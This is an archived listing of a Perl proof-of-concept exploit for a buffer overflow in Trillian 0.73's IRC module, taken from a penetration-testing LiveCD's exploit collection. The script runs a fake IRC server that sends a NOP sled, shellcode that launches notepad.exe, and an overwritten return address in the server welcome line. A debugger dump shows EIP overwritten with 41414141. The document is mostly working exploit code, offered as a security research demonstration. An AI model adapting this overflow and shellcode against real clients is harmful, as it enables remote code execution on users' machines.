home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / trillian / sicillian.pl < prev    next >
Encoding:
Perl Script  |  2005-02-12  |  1.6 KB  |  55 lines
  1. #!/usr/local/bin/perl
  2. #---------------------sicillian.pl------------------------
  3. #- Proof of concept exploit for trillians irc module.
  4. #- Tested on trillian 0.73 but i suspect all version
  5. #- prior maybe exploited as well.
  6. #-
  7. #- John C. Hennessy (Information security analyst)
  8. #------------------------------------------------------
  9.  
  10. use Socket;
  11.  
  12. $|=1;
  13.  
  14.         #egg written by UNYUN (http://www.shadowpenguin.org/)
  15. $egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
  16. $egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
  17. $egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
  18. $egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
  19. $egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
  20. $egg .= "notepad.exe";
  21.  
  22. $buf = "\x90" x 174;
  23. $buf .= $egg;
  24. $buf .= "\x41\x41\x41\x41";
  25.  
  26.  
  27. my $host = inet_aton("127.0.0.1");
  28. my $proto = getprotobyname("tcp");
  29. my $port = 6667;
  30.  
  31. my $add_port = sockaddr_in($port,$host);
  32.  
  33. my $ser_sock = socket(SOCKET,PF_INET,SOCK_STREAM,$proto) or die "Cannot open
  34. Socket: $!";
  35.  
  36. bind(SOCKET,$add_port) or die "\nCould\'t bind to port $port : $!\n ";
  37.  
  38. my $connection = listen(SOCKET,5) or die "Could't listen on $port: $! \n";
  39.  
  40. while(accept(CLIENT,SOCKET)){
  41. print CLIENT "PING :1986115026\r\n001 :irc.random.org trillian :$buf\r\n";
  42. }
  43. close(SOCKET);
  44.  
  45.  
  46. ##########Snippet from debugger##########
  47. # Access violation - code c0000005 (first chance)
  48. # eax=00000000 ebx=022738c8 ecx=100446d0 edx=00000901 esi=02274e60
  49. edi=022738c8
  50. # eip=41414141 esp=0012ca58 ebp=01283718 iopl=0         nv up ei pl nz na po
  51. nc
  52. # cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000 efl=00010206
  53. # 41414141 ??               ???
  54. #####################################
  55.